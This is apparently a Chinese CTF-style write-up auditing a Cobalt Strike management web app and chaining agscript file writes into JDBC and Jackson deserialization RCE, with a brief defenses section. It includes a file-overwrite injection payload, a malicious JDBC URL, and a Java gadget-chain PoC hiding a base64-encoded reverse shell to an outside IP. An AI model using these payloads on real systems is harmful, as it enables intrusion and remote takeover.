CS代码审计配合Jdbc反序列化漏洞的利用
字数 1326 2025-08-22 22:47:30
CS代码审计配合Jdbc反序列化漏洞利用分析
漏洞概述
本文详细分析了一个结合CS代码审计和Jdbc反序列化漏洞的利用链,通过以下步骤实现攻击:
- 利用agscript脚本的任意文件写入漏洞覆盖/tmp/config.json文件
- 通过控制JDBC连接参数触发反序列化漏洞
- 利用Jackson二次反序列化链绕过WAF实现RCE
漏洞组件分析
1. IndexController.java - CS启动控制器
@RequestMapping({"/RunCSByMySelf"})
public String RunCS(Model model) throws Exception {
// 获取本机IP
String C2ip = new BufferedReader(new InputStreamReader(new ProcessBuilder("hostname", "-I").start().getInputStream())).readLine().split("\\s+")[0];
model.addAttribute("C2ip", String.join("\n", C2ip));
// 如果脚本已存在则直接返回
if (new File("CSRun.sh").exists()) {
return "ip";
}
// 写入CS启动脚本
String content = "cd /tmp/CS;./teamserver " + C2ip + " 123456 &";
try {
BufferedWriter writer = new BufferedWriter(new FileWriter("CSRun.sh"));
writer.write(content);
writer.close();
} catch (Exception e) {
e.printStackTrace();
}
// 设置执行权限并运行脚本
new ProcessBuilder("chmod", "+x", "./CSRun.sh").start().waitFor();
new ProcessBuilder("./CSRun.sh").start();
return "ip";
}
关键点:
- 通过
ProcessBuilder执行系统命令启动CS服务 - 脚本内容可控,存在潜在命令注入风险
2. DatabaseConnect.java - JDBC连接工具类
public class DatabaseConnect {
private String url;
private String ip;
private String port;
private String dbname;
private Connection connection;
public DatabaseConnect() throws Exception {
// 从/tmp/config.json读取配置
String json = (String) Files.lines(Paths.get("/tmp/config.json", new String[0])).collect(Collectors.joining(System.lineSeparator()));
this.ip = (String) JsonPath.read(json, "$.ip", new Predicate[0]);
this.port = (String) JsonPath.read(json, "$.port", new Predicate[0]);
this.dbname = (String) JsonPath.read(json, "$.dbname", new Predicate[0]);
this.url = "jdbc:mysql://" + this.ip + ":" + this.port + "/" + this.dbname;
}
public Connection connect() throws SQLException {
if (this.connection == null || this.connection.isClosed()) {
try {
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile", "false");
properties.setProperty("allowUrlInLocalInfile", "false");
properties.setProperty("allowLoadLocalInfileInPath", "");
properties.setProperty("user", "root");
properties.setProperty("password", "root");
Class.forName("com.mysql.jdbc.Driver");
this.connection = DriverManager.getConnection(this.url, properties);
} catch (ClassNotFoundException e) {
throw new SQLException("MySQL 驱动加载失败", e);
}
}
return this.connection;
}
}
关键漏洞点:
- 从
/tmp/config.json读取JDBC连接参数 url参数完全可控,可构造恶意MySQL连接触发反序列化- 虽然设置了安全参数,但
dbname可包含额外连接参数
3. CheckClass.java - 反序列化WAF绕过类
public class CheckClass {
public CheckClass() throws Exception {
CtClass ctClass0 = ClassPool.getDefault().get("com.mysql.jdbc.ResultSetImpl");
ctClass0.removeMethod(ctClass0.getDeclaredMethod("getBytes"));
ctClass0.addMethod(CtNewMethod.make(
"public byte[] getBytes(int columnIndex) throws java.lang.Exception {\n" +
" byte[] data = this.getBytes(columnIndex, false);\n" +
" java.io.ByteArrayInputStream bytesIn = new java.io.ByteArrayInputStream(data);\n" +
" java.io.ObjectInputStream objIn = new org.example.ez_web.utils.NewObjectInputStream(bytesIn);\n" +
" objIn.readObject();\n" +
" return data;\n" +
"}", ctClass0));
ctClass0.toClass();
}
}
关键点:
- 修改了MySQL JDBC驱动的
ResultSetImpl.getBytes()方法 - 强制进行反序列化操作
- 需要配合二次反序列化绕过安全限制
4. ConnectController.java - 主控制器
@RequestMapping(value = {"/doScript"}, method = {RequestMethod.POST})
public String doScript(@RequestBody String json, Model model) throws Exception {
// 解析JSON参数
String ScriptType = (String) JsonPath.read(json, "$.type", new Predicate[0]);
String CSIp = (String) JsonPath.read(json, "$.data.ip", new Predicate[0]);
String CSPort = (String) JsonPath.read(json, "$.data.port", new Predicate[0]);
String CSUserName = (String) JsonPath.read(json, "$.data.username", new Predicate[0]);
String CSPassWord = (String) JsonPath.read(json, "$.data.password", new Predicate[0]);
// 执行SQL查询
String query = "INSERT INTO cs_Type (Type) VALUES (?)";
Connection connect = (new DatabaseConnect()).connect();
PreparedStatement ps = connect.prepareStatement(query);
ps.setString(1, ScriptType);
ps.executeUpdate();
// 根据类型执行不同操作
if (ScriptType.equals("&beacon_shell")) {
// 执行beacon命令
} else if (ScriptType.equals("&create_http_listener")) {
// 创建HTTP监听器
} else if (ScriptType.equals("&get_beacons")) {
// 获取beacons
} else if (ScriptType.equals("&get_listener_info")) {
// 获取监听器信息
} else if (ScriptType.equals("&create_socks")) {
// 创建socks代理
} else {
// 执行任意脚本内容
String SocksPort = (String) JsonPath.read(json, "$.data.ScriptContent", new Predicate[0]);
ProcessBuilder pb = new ProcessBuilder(new String[]{"python3", "/tmp/index.py", "run_script", CSIp, CSPort, CSUserName, CSPassWord, AgScriptPath, SocksPort});
pb.start();
}
// 读取执行结果
StringBuilder content = new StringBuilder();
Scanner scanner = new Scanner(new File("/tmp/result.txt"));
while (scanner.hasNextLine()) {
content.append(scanner.nextLine()).append("\n");
}
model.addAttribute("pythonOutput", String.join("\n", content.toString()));
return "connect/output";
}
关键漏洞点:
ScriptContent参数完全可控,可注入任意agscript脚本- 通过
run_script分支执行任意脚本内容 - 结合CS的agscript功能可实现文件写入
5. index.py - Python脚本执行器
command_type = sys.argv[1]
with CSConnector(cs_host=sys.argv[2], cs_port=sys.argv[3], cs_user=sys.argv[4], cs_pass=sys.argv[5], cs_directory=sys.argv[6]) as cs:
output = ""
if (command_type == "beacon_shell"):
# 执行beacon命令
elif (command_type == "create_http_listener"):
# 创建监听器
elif (command_type == "get_beacons"):
# 获取beacons
elif (command_type == "get_listener_info"):
# 获取监听器信息
elif (command_type == "create_socks"):
# 创建socks代理
else:
# 执行任意脚本内容
ScriptContent = sys.argv[7]
output = cs.run_script(ScriptContent)
# 写入结果文件
with open("/tmp/result.txt", "w") as file:
file.write(str(output))
file.close()
关键点:
run_script方法直接执行传入的脚本内容- 结合CS的agscript功能可实现任意文件写入
漏洞利用链
第一步:任意文件写入
利用agscript的run_script功能写入恶意/tmp/config.json文件:
{
"type": "&123",
"data": {
"ip": "127.0.0.1",
"port": "50050",
"username": "aaa",
"password": "123456",
"ListenerName": "test",
"ScriptContent": "$data = \"{'ip':'ip','port':'3306','dbname':'test?maxAllowedPacket=655360&allowUrlInLocalInfile=true&detectCustomCollations=true&autoDeserialize=true'}\";$handle = openf(\">/tmp/config.json\");writeb($handle,$data);closef($handle);"
}
}
第二步:触发JDBC反序列化
当访问/connect/doScript时,会读取被篡改的/tmp/config.json,构造恶意MySQL连接:
jdbc:mysql://ip:3306/test?maxAllowedPacket=655360&allowUrlInLocalInfile=true&detectCustomCollations=true&autoDeserialize=true
第三步:Jackson二次反序列化绕过
构造恶意MySQL服务器,返回Jackson反序列化payload:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
public class SignedObjectBAVEPoC {
public static void main(String[] args) throws Exception {
// 绕过BaseJsonNode的writeReplace方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
// 构造恶意类
ClassPool pool2 = ClassPool.getDefault();
CtClass ctClass = pool2.makeClass("a");
CtClass superClass = pool2.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAgIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjM3LjE3My84OTk5IDA+JjEn}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
// 构造TemplatesImpl链
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "bbb");
setFieldValue(templatesImpl, "_tfactory", null);
// 构造POJONode链
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp, jsonNodes);
// 二次反序列化包装
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
setFieldValue(val2, "val", node);
// 生成最终payload
System.out.println(Base64.getEncoder().encodeToString(serialize(val2)));
}
}
防御措施
-
输入验证:
- 对
ScriptContent等用户输入进行严格过滤 - 使用白名单限制可执行的脚本命令
- 对
-
文件操作安全:
- 避免使用固定路径的临时文件
- 对文件写入操作进行权限控制
-
JDBC安全配置:
- 使用固定JDBC连接字符串,不从文件读取
- 禁用危险参数:
autoDeserialize、allowUrlInLocalInfile等
-
反序列化防护:
- 更新Jackson等库到最新版本
- 使用安全框架如SerialKiller过滤危险类
-
最小权限原则:
- CS服务运行在低权限账户下
- 限制网络访问权限
总结
该漏洞利用链展示了如何通过多个组件的组合实现从任意文件写入到RCE的完整攻击路径。关键在于:
- 利用agscript的文件写入能力篡改配置文件
- 通过可控的JDBC连接字符串触发反序列化
- 使用Jackson二次反序列化绕过WAF限制
这种复杂的攻击链需要开发者对各个组件的安全配置都有充分了解,才能构建有效的防御体系。